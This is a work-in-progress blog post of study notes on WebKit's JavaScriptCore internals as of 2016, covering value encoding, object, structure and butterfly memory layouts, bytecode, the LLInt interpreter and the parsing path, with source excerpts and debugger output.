Notes on JavaScriptCore

This post is a work in progress, so if you find it incomplete and not readable probably it's not finished yet. I prefer to publish a little before than leave a post to rust in my drafts.

In this post I want to add some pratical notes (and maybe a new tool) to the paper from saelo about exploiting modern browsers; in particular I’ll focus on Webkit and as in his paper, I’ll deep dive into the source code of that version of webkit.

Since seems that doesn’t exist a documentation for the WebKit’s source code you can take this as a getting started if you want to hack its code. Do not take this post as source of truth though, it contains my notes that I collected during the study. Moreover, for now it’s about an outdated code base from 2016, while I think the root of data types and classes is the same, probably some little to medium details have changed.

Fundamental datatypes

First of all we need to understand the datatypes; take in mind that the codebase is in C++ and the namespace for the majority of the classes that we’ll encounter will be JSC, so I won’t include it explicitely.

JSValue

The first and most fundamental is the JSValue, that is like the encoding used internally by JavaScriptCore for its datatype; what does it mean? it means that since this is a Javascript engine, it must have a way to represent primitive values; the main trick to distinguish between data type is the tagging of the actual value in memory.

The way is done is explained in the source code (one of the few comments existing in the source code)

/*
 * On 64-bit platforms USE(JSVALUE64) should be defined, and we use a NaN-encoded
 * form for immediates.
 *
 * The encoding makes use of unused NaN space in the IEEE754 representation.  Any value
 * with the top 13 bits set represents a QNaN (with the sign bit set).  QNaN values
 * can encode a 51-bit payload.  Hardware produced and C-library payloads typically
 * have a payload of zero.  We assume that non-zero payloads are available to encode
 * pointer and integer values.  Since any 64-bit bit pattern where the top 15 bits are
 * all set represents a NaN with a non-zero payload, we can use this space in the NaN
 * ranges to encode other values (however there are also other ranges of NaN space that
 * could have been selected).
 *
 * This range of NaN space is represented by 64-bit numbers begining with the 16-bit
 * hex patterns 0xFFFE and 0xFFFF - we rely on the fact that no valid double-precision
 * numbers will fall in these ranges.
 *
 * The top 16-bits denote the type of the encoded JSValue:
 *
 *     Pointer {  0000:PPPP:PPPP:PPPP
 *              / 0001:****:****:****
 *     Double  {         ...
 *              \ FFFE:****:****:****
 *     Integer {  FFFF:0000:IIII:IIII
 *
 * The scheme we have implemented encodes double precision values by performing a
 * 64-bit integer addition of the value 2^48 to the number. After this manipulation
 * no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFF.
 * Values must be decoded by reversing this operation before subsequent floating point
 * operations may be peformed.
 *
 * 32-bit signed integers are marked with the 16-bit tag 0xFFFF.
 *
 * The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,
 * null and undefined values are represented by specific, invalid pointer values:
 *
 *     False:     0x06
 *     True:      0x07
 *     Undefined: 0x0a
 *     Null:      0x02
 *
 * These values have the following properties:
 * - Bit 1 (TagBitTypeOther) is set for all four values, allowing real pointers to be
 *   quickly distinguished from all immediate values, including these invalid pointers.
 * - With bit 3 is masked out (TagBitUndefined) Undefined and Null share the
 *   same value, allowing null & undefined to be quickly detected.
 *
 * No valid JSValue will have the bit pattern 0x0, this is used to represent array
 * holes, and as a C++ 'no value' result (e.g. JSValue() has an internal value of 0).
 */

To recap the bit-pattern for the immediate is the following:

0x00 00000000 empty (internal value)
0x02 00000010 null
0x04 00000100 delete (internal value)
0x06 00000110 false
0x07 00000111 true
0x0a 00001010 undefined
         ' '-------------> TagBitTypeOther
          `--------------> TagBitUndefined

Inheritance

An interesting part is how the webkit’s code deals with some of characteristics of C++ language: missing super and instanceof:

for super it’s used the following pattern

class CodeBlock : public JSCell {
    typedef JSCell Base;
...
};

that allows for the following

void CodeBlock::finishCreation(VM& vm, CopyParsedBlockTag, CodeBlock& other)
{
    Base::finishCreation(vm);
    ...
}

It’s not always so straightforward, for example the inheritance in the JSArray class:

bool JSArray::getOwnPropertySlot(JSObject* object, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    JSArray* thisObject = jsCast<JSArray*>(object);
    if (propertyName == exec->propertyNames().length) {
        unsigned attributes = thisObject->isLengthWritable() ? DontDelete | DontEnum : DontDelete | DontEnum | ReadOnly;
        slot.setValue(thisObject, attributes, jsNumber(thisObject->length()));
        return true;
    }

    return JSObject::getOwnPropertySlot(thisObject, exec, propertyName, slot);
}

uses directly JSObject and not the JSNonFinalObject that is its own direct parent.

instanceof instead is used via ClassInfo and JSType enum

enum JSType : uint8_t {
    UnspecifiedType,
    UndefinedType,
    BooleanType,
    NumberType,
    NullType,

    // The CellType value must come before any JSType that is a JSCell.
    CellType,
    ...
    // The ObjectType value must come before any JSType that is a subclass of JSObject.
    ObjectType,
    FinalObjectType,
    JSCalleeType,
    JSFunctionType,
    ...
}
inline bool isJSArray(JSCell* cell) { return cell->classInfo() == JSArray::info(); }
inline bool isJSArray(JSValue v) { return v.isCell() && isJSArray(v.asCell()); }

inline const ClassInfo* JSCell::classInfo() const
{
    MarkedBlock* block = MarkedBlock::blockFor(this);
    if (block->needsDestruction() && !(inlineTypeFlags() & StructureIsImmortal))
        return static_cast<const JSDestructibleObject*>(this)->classInfo();
    return structure(*block->vm())->classInfo();
}

Each class that needs this information has a macro at its disposal

#define DECLARE_EXPORT_INFO                                             \
    protected:                                                          \
        static JS_EXPORTDATA const ::JSC::ClassInfo s_info;             \
    public:                                                             \
        static const ::JSC::ClassInfo* info() { return &s_info; }

const ClassInfo JSObject::s_info = { "Object", 0, 0, CREATE_METHOD_TABLE(JSObject) };

with

#define CREATE_METHOD_TABLE(ClassName) { \
        &ClassName::destroy, \
        &ClassName::visitChildren, \
        &ClassName::copyBackingStore, \
        &ClassName::getCallData, \
        &ClassName::getConstructData, \
        &ClassName::put, \
        &ClassName::putByIndex, \
        &ClassName::deleteProperty, \
        &ClassName::deletePropertyByIndex, \
        &ClassName::getOwnPropertySlot, \
        &ClassName::getOwnPropertySlotByIndex, \
        &ClassName::toThis, \
        &ClassName::defaultValue, \
        &ClassName::getOwnPropertyNames, \
        &ClassName::getOwnNonIndexPropertyNames, \
        &ClassName::getPropertyNames, \
        &ClassName::getEnumerableLength, \
        &ClassName::getStructurePropertyNames, \
        &ClassName::getGenericPropertyNames, \
        &ClassName::className, \
        &ClassName::customHasInstance, \
        &ClassName::defineOwnProperty, \
        &ClassName::slowDownAndWasteMemory, \
        &ClassName::getTypedArrayImpl, \
        &ClassName::dumpToStream, \
        &ClassName::estimatedSize \
    }, \
    ClassName::TypedArrayStorageType

JSCell

JSCell it’s the base class for all the runtime data types that need to be garbage collected somehow. You can think of it as a kind of header for identifying the real object.

In memory it has the following layout (each square represents one byte)

  .----.----.----.----.----.----.----.----.
  |    Structure ID   | in | ty | fl | st |
  '----'----'----'----'----'----'----'----'
                         \    \    \    \_______ CellState
                          \    \    \___________ TypeInfo::InlineTypeFlags
                           \    \_______________ JSType
                            \___________________ IndexingType

Indeed the creation is done a lot using the following pattern

inline Structure* Structure::create(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    Structure* structure = new (NotNull, allocateCell<Structure>(vm.heap)) Structure(vm, globalObject, prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    structure->finishCreation(vm);
    return structure;
}

where you use new with the “special” arguments

Structure

Structure: it identifies the class the object belongs to (via the m_classInfo attribute) and describe the “layout” of the javascript object, i.e. the actual relation properties/offsets contained in the Butterfly; moreover, it contains the actual table (data type PropertyTable in the field m_propertyTableUnsafe) with the list of attributes that are defined and at what offsets.

Another field important is m_inlineCapacity that tells us how much space for inline properties is preallocated alongside the object in memory and not stored in the butterfly.

From the code below you can see that the table is placed at the start of the memory block (described by the class MarkedBlock).

inline Structure* JSCell::structure() const
{
        return Heap::heap(this)->structureIDTable().get(m_structureID);
}

inline Heap* Heap::heap(const JSCell* cell)
{
        return MarkedBlock::blockFor(cell)->heap();
}

typedef uintptr_t Bits;

inline MarkedBlock* MarkedBlock::blockFor(const void* p)
{
    return reinterpret_cast<MarkedBlock*>(reinterpret_cast<Bits>(p) & blockMask);
}
// Source/JavaScriptCore/heap/MarkedBlock.h``
namespace JSC {
    ...
    class MarkedBlock : public DoublyLinkedListNode<MarkedBlock> {
    ...
    public:
        static const size_t atomSize = 16; // bytes
        static const size_t blockSize = 16 * KB;
        static const size_t blockMask = ~(blockSize - 1); // blockSize must be a power of two.
        ...
    }
    ...
}
class VM : public ThreadSafeRefCounted<VM> {
public:
    // WebCore has a one-to-one mapping of threads to VMs;
    // either create() or createLeaked() should only be called once
    // on a thread, this is the 'default' VM (it uses the
    // thread's default string uniquing table from wtfThreadData).
    // API contexts created using the new context group aware interface
    // create APIContextGroup objects which require less locking of JSC
    // than the old singleton APIShared VM created for use by
    // the original API.
    ...
}
gef➤  ptype/rom JSC::PropertyTable
/* offset    |  size */  type = class JSC::PropertyTable : public JSC::JSCell {
/*    8      |     4 */    unsigned int m_indexSize;
/*   12      |     4 */    unsigned int m_indexMask;
/*   16      |     8 */    unsigned int *m_index;
/*   24      |     4 */    unsigned int m_keyCount;
/*   28      |     4 */    unsigned int m_deletedCount;
/*   32      |     8 */    class std::unique_ptr<WTF::Vector<int, 0ul, WTF::CrashOnOverflow, 16ul>, std::default_delete<WTF::Vector<int, 0ul, WTF::CrashOnOverflow, 16ul> > > {
                             private:
/*   32      |     8 */        std::unique_ptr<WTF::Vector<int, 0ul, WTF::CrashOnOverflow, 16ul>, std::default_delete<WTF::Vector<int, 0ul, WTF::CrashOnOverflow, 16ul> > >::__tuple_type _M_t;

                               /* total size (bytes):    8 */
                           } m_deletedOffsets;

                           /* total size (bytes):   40 */
                         }

The particularity is that the table is at the address obtained with the sum of m_index and m_indexSize: this because the table itself is preceded by a hash table. m_keyCount gives the number of properties available and if m_propertyTableUnsafe is NULL obvioulsy we don’t have properties.

inline PropertyTable::ValueType* PropertyTable::table()
{
    // The table of values lies after the hash index.
    return reinterpret_cast<ValueType*>(m_index + m_indexSize);
}
typedef PropertyMapEntry ValueType;

struct PropertyMapEntry {
    UniquedStringImpl* key;
    PropertyOffset offset;
    uint8_t attributes;
    bool hasInferredType;
    ...
};

typedef int PropertyOffset;

static const PropertyOffset invalidOffset = -1;
static const PropertyOffset firstOutOfLineOffset = 100;

Note: it seems that properties of the JSCell are assigned from the corresponding values in the Structure associated during creation(?), I think for performance reason.

To understand where the properties are located looks in the code

WriteBarrierBase<Unknown>* JSObject::locationForOffset(PropertyOffset offset)
{
    if (isInlineOffset(offset))
        return &inlineStorage()[offsetInInlineStorage(offset)];
    return &outOfLineStorage()[offsetInOutOfLineStorage(offset)];
}

we have the inline storage

inline bool JSC::isInlineOffset(PropertyOffset offset)
{
    checkOffset(offset);
    return offset < firstOutOfLineOffset;
}

PropertyStorage JSObject::inlineStorageUnsafe()
{
    return bitwise_cast<PropertyStorage>(this + 1);
}

PropertyStorage JSObject::inlineStorage()
{
    ASSERT(hasInlineStorage());
    return inlineStorageUnsafe();
}

and the outline storage

static const PropertyOffset firstOutOfLineOffset = 100;

ConstPropertyStorage outOfLineStorage() const
{
    return m_butterfly.get(this)->propertyStorage();
}

inline size_t JSC::offsetInOutOfLineStorage(PropertyOffset offset)
{
    validateOffset(offset);
    ASSERT(isOutOfLineOffset(offset));
    return -static_cast<ptrdiff_t>(offset - firstOutOfLineOffset) - 1;
}

Note: the Butterfly uses for taking outoflinestorage and indexing properties a wrapper datatype named IndexingHeader moved by 1

Butterfly

Butterfly it’s a class without properties, mainly used to “cast” and wrap the data structure holding the actual data

The way in which the pointer to a butterfly is used cause the code that returns the pointer to it to make some magic with pointer arithmetics:

inline Butterfly* Butterfly::createUninitialized(VM& vm, JSCell* intendedOwner, size_t preCapacity, size_t propertyCapacity, bool hasIndexingHeader, size_t indexingPayloadSizeInBytes)
{
    void* temp;
    size_t size = totalSize(preCapacity, propertyCapacity, hasIndexingHeader, indexingPayloadSizeInBytes);
    RELEASE_ASSERT(vm.heap.tryAllocateStorage(intendedOwner, size, &temp));
    Butterfly* result = fromBase(temp, preCapacity, propertyCapacity);
    return result;
}

static Butterfly* JSC::Butterfly::fromBase(void* base, size_t preCapacity, size_t propertyCapacity)
{
    return reinterpret_cast<Butterfly*>(static_cast<EncodedJSValue*>(base) + preCapacity + propertyCapacity + 1);
}

indeed the size is calculated in the following way

static size_t totalSize(size_t preCapacity, size_t propertyCapacity, bool hasIndexingHeader, size_t indexingPayloadSizeInBytes)
{
    ASSERT(indexingPayloadSizeInBytes ? hasIndexingHeader : true);
    ASSERT(sizeof(EncodedJSValue) == sizeof(IndexingHeader));
    return (preCapacity + propertyCapacity) * sizeof(EncodedJSValue) + (hasIndexingHeader ? sizeof(IndexingHeader) : 0) + indexingPayloadSizeInBytes;
}

inline size_t JSObject::butterflyTotalSize()
{
    Structure* structure = this->structure();
    Butterfly* butterfly = this->butterfly();
    size_t preCapacity;
    size_t indexingPayloadSizeInBytes;
    bool hasIndexingHeader = this->hasIndexingHeader();

    if (UNLIKELY(hasIndexingHeader)) {
        preCapacity = butterfly->indexingHeader()->preCapacity(structure);
        indexingPayloadSizeInBytes = butterfly->indexingHeader()->indexingPayloadSizeInBytes(structure);
    } else {
        preCapacity = 0;
        indexingPayloadSizeInBytes = 0;
    }

    return Butterfly::totalSize(preCapacity, structure->outOfLineCapacity(), hasIndexingHeader, indexingPayloadSizeInBytes);
}

With all of this in mind, it’s good to know that exists a method to calculate the base of the butterfly instance

IndexingHeader* Butterfly::indexingHeader() { return IndexingHeader::from(this); }

static IndexingHeader* IndexingHeader::from(Butterfly* butterfly)
{
    return reinterpret_cast<IndexingHeader*>(butterfly) - 1;
}

inline void* Butterfly::base(Structure* structure)
{
    return base(indexingHeader()->preCapacity(structure), structure->outOfLineCapacity());
}

where IndexingHeader is a class similar the to Butterfly itself, honestly I don’t understand precisely why some functionalities are inside it, probably it’s used to handle array-like objects.

JSObject

This is the base class for all the “javascript” things.

In memory a JSObject is composed by only two quadword as “header”, followed of a couple of inline properties:

    .----.----.----.----.----.----.----.----.----.----.----.----.----.----.----.----.
    |                 JSCell                |               Butterfly               |
     ----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'----
    |           properties inline 0         |           property inline 1           |
     ----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'
    |                                                                               |

Note that the butterfly could be empty (i.e. equal to the NULL pointer). The number of inline properties resides in the associated JSC::Structure, in particular in the field m_inlineCapacity; this value indicates how many slots are allocated, not how many actual values are stored.

Arrays

but it’s possible also to access elements like an array (IndexingType.h)

JSValue JSObject::tryGetIndexQuickly(unsigned i) const
{
    Butterfly* butterfly = m_butterfly.get(this);
    switch (indexingType()) {
    case ALL_BLANK_INDEXING_TYPES:
    case ALL_UNDECIDED_INDEXING_TYPES:
        break;
    case ALL_INT32_INDEXING_TYPES:
        if (i < butterfly->publicLength()) {
            JSValue result = butterfly->contiguous()[i].get();
            ASSERT(result.isInt32() || !result);
            return result;
        }
        break;
    case ALL_CONTIGUOUS_INDEXING_TYPES:
        if (i < butterfly->publicLength())
            return butterfly->contiguous()[i].get();
        break;
    case ALL_DOUBLE_INDEXING_TYPES: {
        if (i >= butterfly->publicLength())
            break;
        double result = butterfly->contiguousDouble()[i];
        if (result != result)
            break;
        return JSValue(JSValue::EncodeAsDouble, result);
    }
    case ALL_ARRAY_STORAGE_INDEXING_TYPES:
        if (i < butterfly->arrayStorage()->vectorLength())
            return butterfly->arrayStorage()->m_vector[i].get();
        break;
    default:
        RELEASE_ASSERT_NOT_REACHED();
        break;
    }
    return JSValue();
}
#define ARRAY_WITH_ARRAY_STORAGE_INDEXING_TYPES \
    ArrayWithArrayStorage:                      \
    case ArrayWithSlowPutArrayStorage
    
#define ALL_ARRAY_STORAGE_INDEXING_TYPES                \
    NonArrayWithArrayStorage:                           \
    case NonArrayWithSlowPutArrayStorage:               \
    case ARRAY_WITH_ARRAY_STORAGE_INDEXING_TYPES

class IndexingHeader {

private:
    union {
        struct {
            uint32_t publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length).
            uint32_t vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.
        } lengths;
        
        struct {
            ArrayBuffer* buffer;
        } typedArray;
    } u;
};

From ArrayStorage.h

namespace JSC {

// This struct holds the actual data values of an array. A JSArray object points to its contained ArrayStorage
// struct by pointing to m_vector. To access the contained ArrayStorage struct, use the getStorage() and 
// setStorage() methods. It is important to note that there may be space before the ArrayStorage that 
// is used to quick unshift / shift operation. The actual allocated pointer is available by using:
//     getStorage() - m_indexBias * sizeof(JSValue)
// All slots in ArrayStorage (slots from 0 to vectorLength) are expected to be initialized to a JSValue or,
// for hole slots, JSValue().
struct ArrayStorage {
    ...
};

} // namespace JSC

From IndexingType.h

/*
    Structure of the IndexingType
    =============================
    Conceptually, the IndexingType looks like this:

    struct IndexingType {
        uint8_t isArray:1;                    // bit 0
        uint8_t shape:4;                      // bit 1 - 3
        uint8_t mayHaveIndexedAccessors:1;    // bit 4
    };

    The shape values (e.g. Int32Shape, ContiguousShape, etc) are an enumeration of
    various shapes (though not necessarily sequential in terms of their values).
    Hence, shape values are not bitwise exclusive with respect to each other.
*/

The way the array-like objects are classified are a little tricky

static inline bool JSC::hasAnyArrayStorage(IndexingType indexingType)
{
    return static_cast<uint8_t>(indexingType & IndexingShapeMask) >= ArrayStorageShape;
}

static inline bool JSC::hasIndexedProperties(IndexingType indexingType)
{
    return (indexingType & IndexingShapeMask) != NoIndexingShape;
}

inline bool Structure::hasIndexingHeader(const JSCell* cell) const
{
    if (hasIndexedProperties(indexingType()))
        return true;

    if (!isTypedView(m_classInfo->typedArrayStorageType))
        return false;

    return jsCast<const JSArrayBufferView*>(cell)->mode() == WastefulTypedArray;
}

Functions and Bytecode

This section is very important and it’s related to something that saelo touched very little: how the javascript code is parsed and how internally is executed; to give you a brief preview, internally the source code is parsed and then transformed in an internal machine code representation, i.e. bytecode.

JSFunction

It’s an extension of JSObject but doesn’t have inline properties (?). The memory layout is the following:

  
0x00.----.----.----.----.----.----.----.----.----.----.----.----.----.----.----.----.
    |                                   JSObject                                    |
0x10 ----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'----
    |           m_scope                     |           m_executable                |
0x20 ----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'
    |           m_rareData                  |
     ----'----'----'----'----'----'----'----'

ExecutableBase

It’s where the “code is”; this is its memory footprint

0x00.----.----.----.----.----.----.----.----.----.----.----.----.----.----.----.----.
    |                 JSCell                |                   |                   |
0x10 ----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'----
    |           m_jitCodeForCall            |           m_jitCodeForConstruct       |
0x20 ----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'----'
    |       m_jitCodeForCallWithArityCheck  |
     ----'----'----'----'----'----'----'----'

The m_jitCodeFor* contains the instructions that will be executed.

Bytecode

The source of truth is the bytecode: the opcodes for it are defined into Source/JavaScriptCore/bytecode/BytecodeList.json

[
    {
        "section" : "Bytecodes", "emitInHFile" : true, "emitInASMFile" : true, 
        "macroNameComponent" : "BYTECODE", "asmPrefix" : "llint_", 
        "bytecodes" : [
            { "name" : "op_enter", "length" : 1 },
            { "name" : "op_get_scope", "length" : 2 },
            { "name" : "op_create_direct_arguments", "length" : 2 },
            ...
        ]
    }
]

from it are generated Bytecode.h;

// Source/JavaScriptCore/bytecode/UnlinkedCodeBlock.h
struct UnlinkedInstruction {
    UnlinkedInstruction() { u.operand = 0; }
    UnlinkedInstruction(OpcodeID opcode) { u.opcode = opcode; }
    UnlinkedInstruction(int operand) { u.operand = operand; }
    union {
        OpcodeID opcode;
        int32_t operand;
        unsigned index;
    } u;
};

// Source/JavaScriptCore/bytecode/UnlinkedInstructionStream.h
// Unlinked instructions are packed in a simple stream format.
//
// The first byte is always the opcode.
// It's followed by an opcode-dependent number of argument values.
// The first 3 bits of each value determines the format:
//
//     5-bit positive integer (1 byte total)
//     5-bit negative integer (1 byte total)
//     13-bit positive integer (2 bytes total)
//     13-bit negative integer (2 bytes total)
//     5-bit constant register index, based at 0x40000000 (1 byte total)
//     13-bit constant register index, based at 0x40000000 (2 bytes total)
//     32-bit raw value (5 bytes total)
ALWAYS_INLINE const UnlinkedInstruction* UnlinkedInstructionStream::Reader::next()
{
    m_unpackedBuffer[0].u.opcode = static_cast<OpcodeID>(read8());
    unsigned opLength = opcodeLength(m_unpackedBuffer[0].u.opcode);
    for (unsigned i = 1; i < opLength; ++i)
        m_unpackedBuffer[i].u.index = read32();
    return m_unpackedBuffer;
}

Note: since then the bytecode format is changed.

LLInt

The first tier of execution engine is the Low Level Interpreter, the first time some javascript code is executed, it’s here that happens.

static void JSC::setupLLInt(VM& vm, CodeBlock* codeBlock)
{
    LLInt::setEntrypoint(vm, codeBlock);
}

void JSC::LLInt::setEntrypoint(VM& vm, CodeBlock* codeBlock)
{
    switch (codeBlock->codeType()) {
    ...
    case FunctionCode:
        setFunctionEntrypoint(vm, codeBlock);
        return;
    }
    ...
}

static void JSC::LLInt::setFunctionEntrypoint(VM& vm, CodeBlock* codeBlock)
{
    CodeSpecializationKind kind = codeBlock->specializationKind();
    
#if ENABLE(JIT)
    if (vm.canUseJIT()) {
        if (kind == CodeForCall) {
            codeBlock->setJITCode(
                adoptRef(new DirectJITCode(vm.getCTIStub(functionForCallEntryThunkGenerator), vm.getCTIStub(functionForCallArityCheckThunkGenerator).code(), JITCode::InterpreterThunk)));
            return;
        }
        ...
    }
#endif // ENABLE(JIT)
    ...
}

MacroAssemblerCodeRef JSC::LLInt::functionForCallEntryThunkGenerator(VM* vm)
{
    return generateThunkWithJumpTo(vm, LLInt::getCodeFunctionPtr(llint_function_for_call_prologue), "function for call");
}

static MacroAssemblerCodeRef JSC::LLInt::generateThunkWithJumpTo(VM* vm, void (*target)(), const char *thunkKind)
{
    JSInterfaceJIT jit(vm);
    
    // FIXME: there's probably a better way to do it on X86, but I'm not sure I care.
    jit.move(JSInterfaceJIT::TrustedImmPtr(bitwise_cast<void*>(target)), JSInterfaceJIT::regT0);
    jit.jump(JSInterfaceJIT::regT0);
    
    LinkBuffer patchBuffer(*vm, jit, GLOBAL_THUNK_ID);
    return FINALIZE_CODE(patchBuffer, ("LLInt %s prologue thunk", thunkKind));
}

The last line is what print the line

Generated JIT code for LLInt program prologue thunk:
    Code at [0x7f9dd79ffc80, 0x7f9dd79ffca0):
      0x7f9dd79ffc80: movq $0x7f9e1ad7dc1d, %rax
      0x7f9dd79ffc8a: jmpq %rax

when JSC_dumpDisassembly=true is in the environment variables.

# Do the bare minimum required to execute code. Sets up the PC, leave the CodeBlock*
# in t1. May also trigger prologue entry OSR.
macro prologue(codeBlockGetter, codeBlockSetter, osrSlowPath, traceSlowPath)
    # Set up the call frame and check if we should OSR.
    preserveCallerPCAndCFR()

    if EXECUTION_TRACING
        subp maxFrameExtentForSlowPathCall, sp
        callSlowPath(traceSlowPath)
        addp maxFrameExtentForSlowPathCall, sp
    end
    codeBlockGetter(t1)
    if not C_LOOP
        baddis 5, CodeBlock::m_llintExecuteCounter + BaselineExecutionCounter::m_counter[t1], .continue
        ...
# Utilities.
macro jumpToInstruction()
    jmp [PB, PC, 8]
end

macro dispatch(advance)
    addp advance, PC
    jumpToInstruction()
end

Source/JavaScriptCore/llint/LowLevelInterpreter.asm

and the assembler is at Source/JavaScriptCore/offlineasm/asm.rb and it’s compiled into the generated obj/DerivedSources/JavaScriptCore/LLIntAssembly.h

OFFLINE_ASM_GLOBAL_LABEL(vmEntryToJavaScript)
    "\tpush %rbp\n"                                          // Source/JavaScriptCore/llint/LowLevelInterpreter.asm:669
    "\tmovq %rsp, %rbp\n"                                    // Source/JavaScriptCore/llint/LowLevelInterpreter.asm:676
    "\tmovq %rbp, %rsp\n"                                    // Source/JavaScriptCore/llint/LowLevelInterpreter.asm:691
    "\tsubq $32, %rsp\n"
    "\tmovq %rsp, %r8\n"                                     // Source/JavaScriptCore/llint/LowLevelInterpreter.asm:420
    "\tandq $15, %r8\n"
    "\ttestq %r8, %r8\n"                                     // Source/JavaScriptCore/llint/LowLevelInterpreter.asm:422
    "\tjz " LOCAL_LABEL_STRING(_offlineasm_doVMEntry__checkStackackPointerOkay) "\n"
    "\tmovq $3134249985, %r8\n"                              // Source/JavaScriptCore/llint/LowLevelInterpreter.asm:423
    "\tint $3\n"                                             // Source/JavaScriptCore/llint/LowLevelInterpreter.asm:424

Runtime analysis

Now that I showed an overview of the data types existing I can dive a little deeper and understand how they link together.

I start showing how something entered from the jsc console is parsed and executed:

-d enable the dumping of the bytecode on the fly

// Source/JavaScriptCore/jsc.cpp
static void runInteractive(GlobalObject* globalObject)
{
    String interpreterName(ASCIILiteral("Interpreter"));
    
    bool shouldQuit = false;
    while (!shouldQuit) {
        printf("%s", interactivePrompt);
        Vector<char, 256> line;
        int c;
        while ((c = getchar()) != EOF) {
            // FIXME: Should we also break on \r? 
            if (c == '\n')
                break;
            line.append(c);
        }
        if (line.isEmpty())
            break;

        NakedPtr<Exception> evaluationException;
        JSValue returnValue = evaluate(
            globalObject->globalExec(),
            jscSource(line, interpreterName),  // [1]
            JSValue(),
            evaluationException);

        if (evaluationException)
            printf("Exception: %s\n", evaluationException->value().toString(globalObject->globalExec())->value(globalObject->globalExec()).utf8().data());
        else
            printf("%s\n", returnValue.toString(globalObject->globalExec())->value(globalObject->globalExec()).utf8().data());

        globalObject->globalExec()->clearException();
        globalObject->vm().drainMicrotasks();
    }
    printf("\n");
}

jscSource at [1] is like a wrapper class around the literal text passed to the interpreter.

JSValue Interpreter::execute(ProgramExecutable* program, CallFrame* callFrame, JSObject* thisObj)
{
    SamplingScope samplingScope(this);

    JSScope* scope = thisObj->globalObject()->globalScope();
    VM& vm = *scope->vm();

    ...

    // First check if the "program" is actually just a JSON object. If so,
    // we'll handle the JSON object here. Else, we'll handle real JS code
    // below at failedJSONP.

    Vector<JSONPData> JSONPData;
    bool parseResult;
    StringView programSource = program->source().view();
    if (programSource.isNull())
        return jsUndefined();
    if (programSource.is8Bit()) {                                                               // [1]
        LiteralParser<LChar> literalParser(callFrame, programSource.characters8(), programSource.length(), JSONP);
        parseResult = literalParser.tryJSONPParse(JSONPData, scope->globalObject()->globalObjectMethodTable()->supportsRichSourceInfo(scope->globalObject()));
    } else {
        LiteralParser<UChar> literalParser(callFrame, programSource.characters16(), programSource.length(), JSONP);
        parseResult = literalParser.tryJSONPParse(JSONPData, scope->globalObject()->globalObjectMethodTable()->supportsRichSourceInfo(scope->globalObject()));
    }

    if (parseResult) {
      ...
    }

failedJSONP:                                                                                     // [2]
    // If we get here, then we have already proven that the script is not a JSON
    // object.

    VMEntryScope entryScope(vm, scope->globalObject());

    // Compile source to bytecode if necessary:
    if (JSObject* error = program->initializeGlobalProperties(vm, callFrame, scope))             // [3]
        return checkedReturn(callFrame->vm().throwException(callFrame, error));

    if (JSObject* error = program->prepareForExecution(callFrame, nullptr, scope, CodeForCall))  // [4]
        return checkedReturn(callFrame->vm().throwException(callFrame, error));

    ProgramCodeBlock* codeBlock = program->codeBlock();

    if (UNLIKELY(vm.shouldTriggerTermination(callFrame)))
        return throwTerminatedExecutionException(callFrame);

    ASSERT(codeBlock->numParameters() == 1); // 1 parameter for 'this'.

    ProtoCallFrame protoCallFrame;
    protoCallFrame.init(codeBlock, JSCallee::create(vm, scope->globalObject(), scope), thisObj, 1);

    ...
    // Execute the code:
    JSValue result;
    {
        SamplingTool::CallRecord callRecord(m_sampler.get());
        result = program->generatedJITCode()->execute(&vm, &protoCallFrame);                     // [5]
    }
    ...

    return checkedReturn(result);
}

Parsing

This is a backtrace that shows where the parsing is done for a generic function

JSC::parse<JSC::FunctionNode>()                         at Source/JavaScriptCore/parser/Parser.h:1540
JSC::generateUnlinkedFunctionCodeBlock()                at Source/JavaScriptCore/bytecode/UnlinkedFunctionExecutable.cpp:59
JSC::UnlinkedFunctionExecutable::unlinkedCodeBlockFor() at Source/JavaScriptCore/bytecode/UnlinkedFunctionExecutable.cpp:203
JSC::ScriptExecutable::newCodeBlockFor()                at Source/JavaScriptCore/runtime/Executable.cpp:305
JSC::ScriptExecutable::prepareForExecutionImpl()        at Source/JavaScriptCore/runtime/Executable.cpp:398
JSC::ScriptExecutable::prepareForExecution()            at Source/JavaScriptCore/runtime/Executable.h:393
JSC::LLInt::setUpCall()                                 at Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:1176
JSC::LLInt::genericCall                                 at Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:1238
JSC::LLInt::llint_slow_path_call()                      at Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:1244
llint_entry ()                                          at obj/lib/libjavascriptcoregtk-4.0.so.18
vmEntryToJavaScript ()                                  at obj/lib/libjavascriptcoregtk-4.0.so.18
JSC::JITCode::execute()                                 at Source/JavaScriptCore/jit/JITCode.cpp:80
JSC::Interpreter::execute()                             at Source/JavaScriptCore/interpreter/Interpreter.cpp:971
JSC::evaluate()                                         at Source/JavaScriptCore/runtime/Completion.cpp:106
runInteractive ()                                       at Source/JavaScriptCore/jsc.cpp:1906
runJSC(JSC::VM*, CommandLine)                           at Source/JavaScriptCore/jsc.cpp:2056
jscmain(int, char**)                                    at Source/JavaScriptCore/jsc.cpp:2105
main(int, char**)                                       at Source/JavaScriptCore/jsc.cpp:1757

or for the “program”

JSC::parse<JSC::ProgramNode>()                       at Source/JavaScriptCore/parser/Parser.h:1540
JSC::CodeCache::getGlobalCodeBlock<...>()            at Source/JavaScriptCore/runtime/CodeCache.cpp:107
JSC::CodeCache::getProgramCodeBlock()                at Source/JavaScriptCore/runtime/CodeCache.cpp:137
JSC::JSGlobalObject::createProgramCodeBlock()        at Source/JavaScriptCore/runtime/JSGlobalObject.cpp:983
JSC::ProgramExecutable::initializeGlobalProperties() at Source/JavaScriptCore/runtime/Executable.cpp:575
JSC::Interpreter::execute()                          at Source/JavaScriptCore/interpreter/Interpreter.cpp:948
